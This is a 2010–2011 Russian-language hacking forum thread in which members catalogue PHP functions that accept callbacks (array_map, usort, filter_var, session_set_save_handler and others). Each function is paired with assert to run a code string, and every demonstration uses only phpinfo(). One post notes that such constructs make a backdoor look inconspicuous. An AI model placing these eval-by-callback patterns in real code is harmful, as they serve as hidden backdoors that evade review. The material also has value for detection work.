Старый 08.07.2010, 17:29   #1
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию PHP функции использующие Callback function

PHP функции использующие Callback function

Решил собрать все известные пхп функции, в которых можно использовать callback.
В качестве callback функции использовал:
assert, т.к. eval нельзя вызывать как callback функцию;
call_user_func и register_shutdown_function, т.к. эти функции могут принимать 2 параметра.
Тестировалось на PHP 5.3.1

array_map
PHP код:
array_map('assert', array('phpinfo()')); 
array_filter
PHP код:
array_filter(array('phpinfo()'), 'assert'); 
array_reduce
PHP код:
array_reduce(array('phpinfo()'), 'call_user_func''assert'); 
array_diff_uassoc
PHP код:
array_diff_uassoc(array('phpinfo()' => 1'assert' => 1), array(), 'call_user_func'); 
array_diff_ukey
PHP код:
array_diff_ukey(array('assert' => 1), array('phpinfo()' => 1), 'call_user_func'); 
array_udiff
PHP код:
array_udiff(array('assert'), array('phpinfo()'), 'call_user_func'); 
array_udiff_assoc
PHP код:
array_udiff_assoc(array('assert'), array('phpinfo()'), 'call_user_func'); 
array_udiff_uassoc
PHP код:
array_diff_uassoc(array('assert' => 1), array('phpinfo()' => 1), 'call_user_func'); 
array_intersect_uassoc
PHP код:
array_intersect_uassoc(array('phpinfo()' => 1'assert' => 1), array(), 'call_user_func'); 
array_intersect_ukey
PHP код:
array_intersect_ukey(array('assert'  => 1), array('phpinfo()' => 1), 'call_user_func'); 
array_uintersect
PHP код:
array_uintersect(array('phpinfo()''assert'), array(), 'call_user_func'); 
array_uintersect_assoc
PHP код:
array_uintersect_assoc(array('assert'), array('phpinfo()'), 'call_user_func'); 
array_uintersect_uassoc
PHP код:
$a = array('assert' => 'assert');
$b = array("print'register_shutdown_function'" => "print'call_user_func'");
array_uintersect_uassoc($a$b'call_user_func''register_shutdown_function'); 
array_walk
PHP код:
array_walk($c = array('phpinfo()' => 'assert'), 'call_user_func'); 
array_walk_recursive
PHP код:
array_walk_recursive($c = array('phpinfo()' => 'assert'), 'call_user_func'); 
call_user_func
PHP код:
call_user_func('assert''phpinfo()'); 
call_user_func_array
PHP код:
call_user_func_array('assert', array('phpinfo()')); 
iterator_apply
PHP код:
iterator_apply(new ArrayIterator(array(1)), 'call_user_func', array('assert''phpinfo()')); 
register_shutdown_function
PHP код:
register_shutdown_function('assert''phpinfo()'); 
usort
PHP код:
usort($c = array('phpinfo()''assert'), 'call_user_func'); 
uasort
PHP код:
uasort($c = array(=> 'phpinfo()'=> 'assert'), 'call_user_func'); 
uksort
PHP код:
uksort($c = array('phpinfo()' => 1'assert' => 1), 'call_user_func'); 

Последний раз редактировалось RulleR; 15.09.2010 в 16:08..
RulleR вне форума   Ответить с цитированием
Старый 21.10.2010, 22:54   #2
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()

stream_filter_register()
set_error_handler()
register_shutdown_function()
register_tick_function()
d0znpp вне форума   Ответить с цитированием
Старый 22.10.2010, 01:05   #3
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Было же в МОА Ты ещё забыл ob_start, при её использовании бекдор довольно беспалевно выглядит.
__________________
Мой блог: http://qwazar.ru/.

Последний раз редактировалось Qwazar; 22.10.2010 в 01:08..
Qwazar вне форума   Ответить с цитированием
Старый 22.10.2010, 13:40   #4
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Ну да было, учитывая, что ту статью в MOPS, если ты про эту http://php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html, писал Артур, который работает на ONsec
Просто там не было такого длинного списка, который был здесь, а здесь не было того хвоста.
Я решил все вместе свести.

Последний раз редактировалось d0znpp; 22.10.2010 в 13:42..
d0znpp вне форума   Ответить с цитированием
Старый 22.10.2010, 21:16   #5
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию

Не, то что я имею в виду было даже не в этом году.
__________________
Мой блог: http://qwazar.ru/.
Qwazar вне форума   Ответить с цитированием
Старый 22.10.2010, 21:28   #6
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
xml_set_character_data_handler()
xml_set_default_handler()
xml_set_element_handler()
xml_set_end_namespace_decl_handler()
xml_set_external_entity_ref_handler()
xml_set_notation_decl_handler()
xml_set_processing_instruction_handler()
xml_set_start_namespace_decl_handler()
xml_set_unparsed_entity_decl_handler()
Как написано в манах, все эти функции

Returns TRUE on success or FALSE on failure.

Насколько я понимаю обычно они не используются по одиночке, так как организация xml парсера, требует
нескольких функции
http://www.php.net/manual/en/ref.xml.php
Далее когда пишут xml парсер то калбек задается довольно четко, и не дву смыслено.

Поэтому интересны два вопроса
1. Есть ли вообще уязвимости, где RCE осуществляется через эти функции?
2. Возможно ли только через одну из этих функции выполнить код?

--- stream_filter_register мы уже обсудили здесь https://rdot.org/forum/showthread.php?t=605&page=3
--- register_shutdown_function, была выше.
--- set_error_handler не особо может нам помочь, потому что в обычных скриптах, в нее обычно
вставлена функции которая как то обрабатывает ошибки, а передать в нее что то типа preg_replace, не выйдет, тока phpinfo (то есть без аргументную пользовательскую функцию PHP)....

P.S. кстати там рядом еще одна статейка лежит
http://php-security.org/2010/05/24/mops-submission-09-rips-a-static-source-code-analyser-for-vulnerabilities-in-php-scripts/index.html
так вот в ней есть тоже довольно интересные наводки, например
mb_ereg_replace и mb_eregi_replace
http://php.net/manual/en/function.mb-ereg-replace.php
http://www.php.net/manual/en/function.mb-eregi-replace.php
, эти функции как и preg_replace, можно использовать в калбек функциях, причем, есть бага
http://bugs.php.net/bug.php?id=48180, позволяющая несколько расширить возможности

Последний раз редактировалось Pr0xor; 22.10.2010 в 21:42..
Pr0xor вне форума   Ответить с цитированием
Старый 01.11.2010, 17:15   #7
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Копись, копилочка...

preg_replace_callback
http://php.net/manual/en/function.preg-replace-callback.php

Сегодня наткнулся в работе.
d0znpp вне форума   Ответить с цитированием
Старый 01.11.2010, 17:36   #8
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

Добавлю свои 5 копеек:
PHP код:
function foo($x) {
    echo 
'pew';
    exit;
}
spl_autoload_register('foo');

new 
NonExistedClass
PHP код:
$i = new ArrayIterator(array(1));
iterator_apply($i"assert", array('phpinfo();')); 
PHP код:
$ch curl_init();
curl_setopt($chCURLOPT_URL'http://google.com/');
curl_setopt($chCURLOPT_HEADERFUNCTION'foo');
curl_exec($ch);
curl_close($ch);

function 
foo($ch$string) {
    echo 
'pew';

__________________
Не оказываю никаких услуг.
I don't provide any services.

Последний раз редактировалось oRb; 01.11.2010 в 17:56..
oRb вне форума   Ответить с цитированием
Старый 01.11.2010, 22:43   #9
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

http://ru.php.net/manual/en/ref.filter.php

PHP код:
filter_input(INPUT_GET,'c',FILTER_CALLBACK,array("options"=>"assert")); 
PHP код:
filter_var("phpinfo()"FILTER_CALLBACK,array("options"=>"assert")); 
PHP код:
filter_input_array(INPUT_GET, array("c" => array("filter"=>FILTER_CALLBACK,"options"=>"assert"))); 
PHP код:
filter_var_array(array("c" => "phpinfo()"), array("c" => array("filter"=>FILTER_CALLBACK,"options"=>"assert"))); 

Последний раз редактировалось BlackFan; 02.11.2010 в 23:11..
BlackFan вне форума   Ответить с цитированием
Старый 06.01.2011, 04:20   #10
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

http://php.net/manual/en/function.session-set-save-handler.php

PHP код:
<?
session_set_save_handler
("assert""phpinfo""assert""assert""assert""assert");
?>
PS: вообще стоит повнимательней почитать про эту функцию, там возможен не только вариант, представленный в примере

Последний раз редактировалось Pashkela; 06.01.2011 в 04:25..
Pashkela вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot